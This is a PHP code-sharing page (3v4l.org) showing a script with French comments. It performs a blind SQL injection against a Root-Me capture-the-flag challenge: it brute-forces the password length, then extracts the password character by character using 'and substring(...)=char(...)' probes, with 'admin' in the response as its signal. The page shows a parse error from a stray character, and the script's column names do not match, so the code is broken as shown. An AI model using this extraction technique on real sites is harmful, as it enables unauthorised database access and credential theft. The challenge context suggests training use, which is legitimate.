3v4l.org

run code in 300+ PHP versions simultaneously
<?php //On désactive la limite des 30sec d'exécution du script set_time_limit(0); //L'URL standard à exploiter $url="http://challenge01.root-me.org/web-serveur/ch10?id=1"; /* Bruteforce de la longueur du pass */ $max = 40; //La longueur maxi qu'on s'autorise $longueur = 0; echo "Bruteforce de la longueur du mot de passe en cours...<br />"; for($i = 1; $i<$max; $i++){ //On ouvre l'URL $fp = fopen($url . urlencode(" and length(password)=$i"),"r"); $buf = ""; //On lit le résultat while(!feof($fp)) { $buf .= fgets($fp); } //Si on trouve "admin" sur la page if(preg_match("/admin/",$buf)) { echo "La longueur du pass est : $i <br />"; $longueur = $i; break; } } if($longueur == 0) die("Longueur non trouvée"); /* Bruteforce du pass */ 5 $pass = ""; $i = 1; //Plage des caractères ASCII à balayer $borne_inf = 48; $borne_sup = 123; //Initialisation $code = $borne_inf; while($i <= $longueur){ if($code == $borne_sup + 1) $code = $borne_inf; //On ouvre l'URL $fp = fopen($url.urlencode(" and substring(pass,$i,1)=char($code)"),"r"); $ligne = ""; //On lit et on teste while(!feof($fp)) { $ligne .= fgets($fp); } if(preg_match("/admin/",$ligne)) { //Une lettre à été trouvée ! echo "$i eme lettre trouvée : ".chr($code)." <br />"; $pass .= chr($code); //On passe au caractère suivant $i++; $code = $borne_inf; } $code++; } echo "Pass final : $pass <br />"; ?>
Output for 5.4.2 - 5.4.45, 5.5.24 - 5.5.29, 5.6.8 - 5.6.13
Parse error: syntax error, unexpected '$pass' (T_VARIABLE) in /in/Jg1Lv on line 29
Process exited with code 255.

preferences:
187.05 ms | 1395 KiB | 62 Q